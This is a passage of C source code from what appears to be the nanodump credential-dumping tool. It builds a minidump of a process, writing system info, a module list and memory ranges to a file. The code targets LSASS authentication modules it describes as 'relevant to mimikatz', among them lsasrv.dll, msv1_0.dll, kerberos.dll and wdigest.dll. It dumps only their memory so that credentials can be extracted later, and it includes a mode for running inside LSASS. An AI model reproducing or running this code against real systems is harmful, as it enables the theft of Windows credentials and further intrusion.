memcpy(system_info_bytes + offset, &system_info.BuildNumber, 4); offset += 4; 509 | memcpy(system_info_bytes + offset, &system_info.PlatformId, 4); offset += 4; 510 | memcpy(system_info_bytes + offset, &system_info.CSDVersionRva, 4); offset += 4; 511 | memcpy(system_info_bytes + offset, &system_info.SuiteMask, 2); offset += 2; 512 | memcpy(system_info_bytes + offset, &system_info.Reserved2, 2); offset += 2; 513 | #if _WIN64 514 | memcpy(system_info_bytes + offset, &system_info.ProcessorFeatures1, 8); offset += 8; 515 | memcpy(system_info_bytes + offset, &system_info.ProcessorFeatures2, 8); 516 | #else 517 | memcpy(system_info_bytes + offset, &system_info.VendorId1, 4); offset += 4; 518 | memcpy(system_info_bytes + offset, &system_info.VendorId2, 4); offset += 4; 519 | memcpy(system_info_bytes + offset, &system_info.VendorId3, 4); offset += 4; 520 | memcpy(system_info_bytes + offset, &system_info.VersionInformation, 4); offset += 4; 521 | memcpy(system_info_bytes + offset, &system_info.FeatureInformation, 4); offset += 4; 522 | memcpy(system_info_bytes + offset, &system_info.AMDExtendedCpuFeatures, 4); 523 | #endif 524 | 525 | ULONG32 stream_rva = dc->rva; 526 | if (!append(dc, system_info_bytes, stream_size)) 527 | { 528 | DPRINT_ERR("Failed to write the SystemInfoStream"); 529 | return FALSE; 530 | } 531 | 532 | // write our length in the MiniDumpSystemInfo directory 533 | writeat(dc, SIZE_OF_HEADER + 4, &stream_size, 4); // header + streamType 534 | 535 | // write our RVA in the MiniDumpSystemInfo directory 536 | writeat(dc, SIZE_OF_HEADER + 4 + 4, &stream_rva, 4); // header + streamType + Location.DataSize 537 | 538 | // write the service pack 539 | ULONG32 sp_rva = dc->rva; 540 | ULONG32 Length = CSDVersion->Length; 541 | // write the length 542 | if (!append(dc, &Length, 4)) 543 | { 544 | DPRINT_ERR("Failed to write the SystemInfoStream"); 545 | return FALSE; 546 | } 547 | // write the service pack name 548 | if (!append(dc, CSDVersion->Buffer, CSDVersion->Length)) 549 | { 550 | DPRINT_ERR("Failed to write the SystemInfoStream"); 551 | return FALSE; 552 | } 553 | // write the service pack RVA in the SystemInfoStream 554 | writeat(dc, stream_rva + 24, &sp_rva, 4); // addrof CSDVersionRva 555 | 556 | return TRUE; 557 | } 558 | 559 | Pmodule_info write_module_list_stream( 560 | IN Pdump_context dc) 561 | { 562 | DPRINT("Writing the ModuleListStream"); 563 | 564 | // list of modules relevant to mimikatz 565 | wchar_t* important_modules[] = { 566 | L"lsasrv.dll", L"msv1_0.dll", L"tspkg.dll", L"wdigest.dll", L"kerberos.dll", 567 | L"livessp.dll", L"dpapisrv.dll", L"kdcsvc.dll", L"cryptdll.dll", L"lsadb.dll", 568 | L"samsrv.dll", L"rsaenh.dll", L"ncrypt.dll", L"ncryptprov.dll", L"eventlog.dll", 569 | L"wevtsvc.dll", L"termsrv.dll", L"cloudap.dll" 570 | }; 571 | Pmodule_info module_list = find_modules( 572 | dc->hProcess, 573 | important_modules, 574 | ARRAY_SIZE(important_modules), 575 | TRUE); 576 | if (!module_list) 577 | { 578 | DPRINT_ERR("Failed to write the ModuleListStream"); 579 | return NULL; 580 | } 581 | 582 | // write the full path of each dll 583 | Pmodule_info curr_module = module_list; 584 | ULONG32 number_of_modules = 0; 585 | while (curr_module) 586 | { 587 | number_of_modules++; 588 | curr_module->name_rva = dc->rva; 589 | ULONG32 full_name_length = (ULONG32)WCSNLEN((wchar_t*)&curr_module->dll_name, sizeof(curr_module->dll_name)); 590 | full_name_length++; // account for the null byte at the end 591 | full_name_length *= 2; 592 | // write the length of the name 593 | if (!append(dc, &full_name_length, 4)) 594 | { 595 | DPRINT_ERR("Failed to write the ModuleListStream"); 596 | free_linked_list(module_list, sizeof(module_info)); module_list = NULL; 597 | return NULL; 598 | } 599 | // write the path 600 | if (!append(dc, curr_module->dll_name, full_name_length)) 601 | { 602 | DPRINT_ERR("Failed to write the ModuleListStream"); 603 | free_linked_list(module_list, sizeof(module_info)); module_list = NULL; 604 | return NULL; 605 | } 606 | curr_module = curr_module->next; 607 | } 608 | 609 | ULONG32 stream_rva = dc->rva; 610 | // write the number of modules 611 | if (!append(dc, &number_of_modules, 4)) 612 | { 613 | DPRINT_ERR("Failed to write the ModuleListStream"); 614 | free_linked_list(module_list, sizeof(module_info)); module_list = NULL; 615 | return NULL; 616 | } 617 | BYTE module_bytes[SIZE_OF_MINIDUMP_MODULE] = { 0 }; 618 | curr_module = module_list; 619 | while (curr_module) 620 | { 621 | MiniDumpModule module = { 0 }; 622 | module.BaseOfImage = (ULONG_PTR)curr_module->dll_base; 623 | module.SizeOfImage = curr_module->size_of_image; 624 | module.CheckSum = curr_module->CheckSum; 625 | module.TimeDateStamp = curr_module->TimeDateStamp; 626 | module.ModuleNameRva = curr_module->name_rva; 627 | module.VersionInfo.dwSignature = 0; 628 | module.VersionInfo.dwStrucVersion = 0; 629 | module.VersionInfo.dwFileVersionMS = 0; 630 | module.VersionInfo.dwFileVersionLS = 0; 631 | module.VersionInfo.dwProductVersionMS = 0; 632 | module.VersionInfo.dwProductVersionLS = 0; 633 | module.VersionInfo.dwFileFlagsMask = 0; 634 | module.VersionInfo.dwFileFlags = 0; 635 | module.VersionInfo.dwFileOS = 0; 636 | module.VersionInfo.dwFileType = 0; 637 | module.VersionInfo.dwFileSubtype = 0; 638 | module.VersionInfo.dwFileDateMS = 0; 639 | module.VersionInfo.dwFileDateLS = 0; 640 | module.CvRecord.DataSize = 0; 641 | module.CvRecord.rva = 0; 642 | module.MiscRecord.DataSize = 0; 643 | module.MiscRecord.rva = 0; 644 | module.Reserved0 = 0; 645 | module.Reserved1 = 0; 646 | 647 | DWORD offset = 0; 648 | memcpy(module_bytes + offset, &module.BaseOfImage, 8); offset += 8; 649 | memcpy(module_bytes + offset, &module.SizeOfImage, 4); offset += 4; 650 | memcpy(module_bytes + offset, &module.CheckSum, 4); offset += 4; 651 | memcpy(module_bytes + offset, &module.TimeDateStamp, 4); offset += 4; 652 | memcpy(module_bytes + offset, &module.ModuleNameRva, 4); offset += 4; 653 | memcpy(module_bytes + offset, &module.VersionInfo.dwSignature, 4); offset += 4; 654 | memcpy(module_bytes + offset, &module.VersionInfo.dwStrucVersion, 4); offset += 4; 655 | memcpy(module_bytes + offset, &module.VersionInfo.dwFileVersionMS, 4); offset += 4; 656 | memcpy(module_bytes + offset, &module.VersionInfo.dwFileVersionLS, 4); offset += 4; 657 | memcpy(module_bytes + offset, &module.VersionInfo.dwProductVersionMS, 4); offset += 4; 658 | memcpy(module_bytes + offset, &module.VersionInfo.dwProductVersionLS, 4); offset += 4; 659 | memcpy(module_bytes + offset, &module.VersionInfo.dwFileFlagsMask, 4); offset += 4; 660 | memcpy(module_bytes + offset, &module.VersionInfo.dwFileFlags, 4); offset += 4; 661 | memcpy(module_bytes + offset, &module.VersionInfo.dwFileOS, 4); offset += 4; 662 | memcpy(module_bytes + offset, &module.VersionInfo.dwFileType, 4); offset += 4; 663 | memcpy(module_bytes + offset, &module.VersionInfo.dwFileSubtype, 4); offset += 4; 664 | memcpy(module_bytes + offset, &module.VersionInfo.dwFileDateMS, 4); offset += 4; 665 | memcpy(module_bytes + offset, &module.VersionInfo.dwFileDateLS, 4); offset += 4; 666 | memcpy(module_bytes + offset, &module.CvRecord.DataSize, 4); offset += 4; 667 | memcpy(module_bytes + offset, &module.CvRecord.rva, 4); offset += 4; 668 | memcpy(module_bytes + offset, &module.MiscRecord.DataSize, 4); offset += 4; 669 | memcpy(module_bytes + offset, &module.MiscRecord.rva, 4); offset += 4; 670 | memcpy(module_bytes + offset, &module.Reserved0, 8); offset += 8; 671 | memcpy(module_bytes + offset, &module.Reserved1, 8); 672 | 673 | if (!append(dc, module_bytes, sizeof(module_bytes))) 674 | { 675 | DPRINT_ERR("Failed to write the ModuleListStream"); 676 | free_linked_list(module_list, sizeof(module_info)); module_list = NULL; 677 | return NULL; 678 | } 679 | curr_module = curr_module->next; 680 | } 681 | 682 | // write our length in the ModuleListStream directory 683 | ULONG32 stream_size = 4 + number_of_modules * sizeof(module_bytes); 684 | writeat(dc, SIZE_OF_HEADER + SIZE_OF_DIRECTORY + 4, &stream_size, 4); // header + 1 directory + streamType 685 | 686 | // write our RVA in the ModuleListStream directory 687 | writeat(dc, SIZE_OF_HEADER + SIZE_OF_DIRECTORY + 4 + 4, &stream_rva, 4); // header + 1 directory + streamType + Location.DataSize 688 | 689 | return module_list; 690 | } 691 | 692 | BOOL is_important_module( 693 | IN PVOID address, 694 | IN Pmodule_info module_list) 695 | { 696 | Pmodule_info curr_module = module_list; 697 | while (curr_module) 698 | { 699 | if ((ULONG_PTR)address >= (ULONG_PTR)curr_module->dll_base && 700 | (ULONG_PTR)address < RVA(ULONG_PTR, curr_module->dll_base, curr_module->size_of_image)) 701 | return TRUE; 702 | curr_module = curr_module->next; 703 | } 704 | return FALSE; 705 | } 706 | 707 | PMiniDumpMemoryDescriptor64 get_memory_ranges( 708 | IN Pdump_context dc, 709 | IN Pmodule_info module_list) 710 | { 711 | PMiniDumpMemoryDescriptor64 ranges_list = NULL; 712 | PVOID base_address, current_address; 713 | PMiniDumpMemoryDescriptor64 new_range; 714 | ULONG64 region_size; 715 | current_address = 0; 716 | MEMORY_INFORMATION_CLASS mic = 0; 717 | MEMORY_BASIC_INFORMATION mbi = { 0 }; 718 | DWORD number_of_ranges = 0; 719 | SIZE_T status; 720 | 721 | DPRINT("Getting memory ranges to dump"); 722 | 723 | while (TRUE) 724 | { 725 | status = VirtualQueryEx( 726 | dc->hProcess, 727 | (PVOID)current_address, 728 | &mbi, 729 | sizeof(mbi)); 730 | if (status == 0) 731 | break; 732 | 733 | base_address = mbi.BaseAddress; 734 | region_size = mbi.RegionSize; 735 | 736 | if (((ULONG_PTR)base_address + region_size) < (ULONG_PTR)base_address) 737 | break; 738 | 739 | // next memory range 740 | current_address = RVA(PVOID, base_address, region_size); 741 | 742 | // ignore non-commited pages 743 | if (mbi.State != MEM_COMMIT) 744 | continue; 745 | // ignore mapped pages 746 | if (mbi.Type == MEM_MAPPED) 747 | continue; 748 | // ignore pages with PAGE_NOACCESS 749 | if ((mbi.Protect & PAGE_NOACCESS) == PAGE_NOACCESS) 750 | continue; 751 | // ignore pages with PAGE_GUARD 752 | if ((mbi.Protect & PAGE_GUARD) == PAGE_GUARD) 753 | continue; 754 | // ignore pages with PAGE_EXECUTE 755 | if ((mbi.Protect & PAGE_EXECUTE) == PAGE_EXECUTE) 756 | continue; 757 | // ignore modules that are not relevant to mimikatz 758 | if (mbi.Type == MEM_IMAGE && 759 | !is_important_module( 760 | base_address, 761 | module_list)) 762 | continue; 763 | #ifdef SSP 764 | // if nanodump is running in LSASS, don't dump the dump :) 765 | if (dc->BaseAddress == base_address) 766 | continue; 767 | #endif 768 | 769 | new_range = intAlloc(sizeof(MiniDumpMemoryDescriptor64)); 770 | if (!new_range) 771 | { 772 | malloc_failed(); 773 | DPRINT_ERR("Failed to get memory ranges to dump"); 774 | return NULL; 775 | } 776 | new_range->next = NULL; 777 | new_range->StartOfMemoryRange = (ULONG_PTR)base_address; 778 | new_range->DataSize = region_size; 779 | new_range->State = mbi.State; 780 | new_range->Protect = mbi.Protect; 781 | new_range->Type = mbi.Type; 782 | 783 | if (!ranges_list) 784 | { 785 | ranges_list = new_range; 786 | } 787 | else 788 | { 789 | PMiniDumpMemoryDescriptor64 last_range = ranges_list; 790 | while (last_range->next) 791 | last_range = last_range->next; 792 | last_range->next = new_range; 793 | } 794 | number_of_ranges++; 795 | } 796 | if (!ranges_list) 797 | { 798 | syscall_failed("NtQueryVirtualMemory", status); 799 | DPRINT_ERR("Failed to enumerate memory ranges"); 800 | return NULL; 801 | } 802 | DPRINT( 803 | "Enumearted %ld ranges of memory", 804 | number_of_ranges); 805 | return ranges_list; 806 | } 807 | 808 | PMiniDumpMemoryDescriptor64 write_memory64_list_stream( 809 | IN Pdump_context dc, 810 | IN Pmodule_info module_list) 811 | { 812 | PMiniDumpMemoryDescriptor64 memory_ranges; 813 | ULONG32 stream_rva = dc->rva; 814 | 815 | DPRINT("Writing the Memory64ListStream"); 816 | 817 | memory_ranges = get_memory_ranges( 818 | dc, 819 | module_list); 820 | if (!memory_ranges) 821 | { 822 | DPRINT_ERR("Failed to write the Memory64ListStream"); 823 | return NULL; 824 | } 825 | 826 | // write the number of ranges 827 | PMiniDumpMemoryDescriptor64 curr_range = memory_ranges; 828 | ULONG64 number_of_ranges = 0; 829 | while (curr_range) 830 | { 831 | number_of_ranges++; 832 | curr_range = curr_range->next; 833 | } 834 | if (!append(dc, &number_of_ranges, 8)) 835 | { 836 | DPRINT_ERR("Failed to write the Memory64ListStream"); 837 | free_linked_list(memory_ranges, sizeof(MiniDumpMemoryDescriptor64)); memory_ranges = NULL; 838 | return NULL; 839 | } 840 | // make sure we don't overflow stream_size 841 | if (16 + 16 * number_of_ranges > 0xffffffff) 842 | { 843 | DPRINT_ERR("Too many ranges!"); 844 | free_linked_list(memory_ranges, sizeof(MiniDumpMemoryDescriptor64)); memory_ranges = NULL; 845 | return NULL; 846 | } 847 | 848 | // write the rva of the actual memory content 849 | ULONG32 stream_size = (ULONG32)(16 + 16 * number_of_ranges); 850 | ULONG64 base_rva = (ULONG64)stream_rva + stream_size; 851 | if (!append(dc, &base_rva, 8)) 852 | { 853 | DPRINT_ERR("Failed to write the Memory64ListStream"); 854 | free_linked_list(memory_ranges, sizeof(MiniDumpMemoryDescriptor64)); memory_ranges = NULL; 855 | return NULL; 856 | } 857 | 858 | // write the start and size of each memory range 859 | curr_range = memory_ranges; 860 | while (curr_range) 861 | { 862 | if (!append(dc, &curr_range->StartOfMemoryRange, 8)) 863 | { 864 | DPRINT_ERR("Failed to write the Memory64ListStream"); 865 | free_linked_list(memory_ranges, sizeof(MiniDumpMemoryDescriptor64)); memory_ranges = NULL; 866 | return NULL; 867 | } 868 | if (!append(dc, &curr_range->DataSize, 8)) 869 | { 870 | DPRINT_ERR("Failed to write the Memory64ListStream"); 871 | free_linked_list(memory_ranges, sizeof(MiniDumpMemoryDescriptor64)); memory_ranges = NULL; 872 | return NULL; 873 | } 874 | curr_range = curr_range->next; 875 | } 876 | 877 | // write our length in the Memory64ListStream directory 878 | writeat(dc, SIZE_OF_HEADER + SIZE_OF_DIRECTORY * 2 + 4, &stream_size, 4); // header + 2 directories + streamType 879 | 880 | // write our RVA in the Memory64ListStream directory 881 | writeat(dc, SIZE_OF_HEADER + SIZE_OF_DIRECTORY * 2 + 4 + 4, &stream_rva, 4); // header + 2 directories + streamType + Location.DataSize 882 | 883 | // dump all the selected memory ranges 884 | curr_range = memory_ranges; 885 | while (curr_range) 886 | { 887 | // DataSize can be very large but HeapAlloc should be able to handle it 888 | PBYTE buffer = intAlloc(curr_range->DataSize); 889 | if (!buffer) 890 | { 891 | DPRINT_ERR("Failed to write the Memory64ListStream"); 892 | malloc_failed(); 893 | return NULL; 894 | } 895 | NTSTATUS status = ReadProcessMemory( 896 | dc->hProcess, 897 | (PVOID)(ULONG_PTR)curr_range->StartOfMemoryRange, 898 | buffer, 899 | curr_range->DataSize, 900 | NULL); 901 | // once in a while, a range fails with STATUS_PARTIAL_COPY, not relevant for mimikatz 902 | if (!NT_SUCCESS(status) && status != STATUS_PARTIAL_COPY) 903 | { 904 | DPRINT_ERR( 905 | "Failed to read memory range: StartOfMemoryRange: 0x%p, DataSize: 0x%64llx, State: 0x%lx, Protect: 0x%lx, Type: 0x%lx, NtReadVirtualMemory status: 0x%lx. Continuing anyways...", 906 | (PVOID)(ULONG_PTR)curr_range->StartOfMemoryRange, 907 | curr_range->DataSize, 908 | curr_range->State, 909 | curr_range->Protect, 910 | curr_range->Type, 911 | status); 912 | //return NULL; 913 | } 914 | if (curr_range->DataSize > 0xffffffff) 915 | { 916 | DPRINT_ERR("The current range is larger that the 32-bit address space!"); 917 | curr_range->DataSize = 0xffffffff; 918 | } 919 | if (!append(dc, buffer, (ULONG32)curr_range->DataSize)) 920 | { 921 | DPRINT_ERR("Failed to write the Memory64ListStream"); 922 | free_linked_list(memory_ranges, sizeof(MiniDumpMemoryDescriptor64)); memory_ranges = NULL; 923 | DATA_FREE(buffer, curr_range->DataSize); 924 | return NULL; 925 | } 926 | DATA_FREE(buffer, curr_range->DataSize); 927 | curr_range = curr_range->next; 928 | } 929 | 930 | return memory_ranges; 931 | } 932 | 933 | BOOL NanoDumpWriteDump( 934 | IN Pdump_context dc) 935 | { 936 | DPRINT("Writing nanodump"); 937 | 938 | if (!write_header(dc)) 939 | return FALSE; 940 | 941 | if (!write_directories(dc)) 942 | return FALSE; 943 | 944 | if (!write_system_info_stream(dc)) 945 | return FALSE; 946 | 947 | Pmodule_info module_list; 948 | module_list = write_module_list_stream(dc); 949 | if (!module_list) 950 | return FALSE; 951 | 952 | PMiniDumpMemoryDescriptor64 memory_ranges; 953 | memory_ranges = write_memory64_list_stream(dc, module_list); 954 | if (!memory_ranges) 955 | { 956 | free_linked_list(module_list, sizeof(module_info)); module_list = NULL; 957 | return FALSE; 958 | } 959 | 960 | free_linked_list(module_list, sizeof(module_info)); module_list = NULL; 961 | 962 | free_linked_list(memory_ranges, sizeof(MiniDumpMemoryDescriptor64)); memory_ranges = NULL; 963 | 964 | DPRINT("The nanodump was created succesfully"); 965 | 966 | return TRUE; 967 | } 968 | --------------------------------------------------------------------------------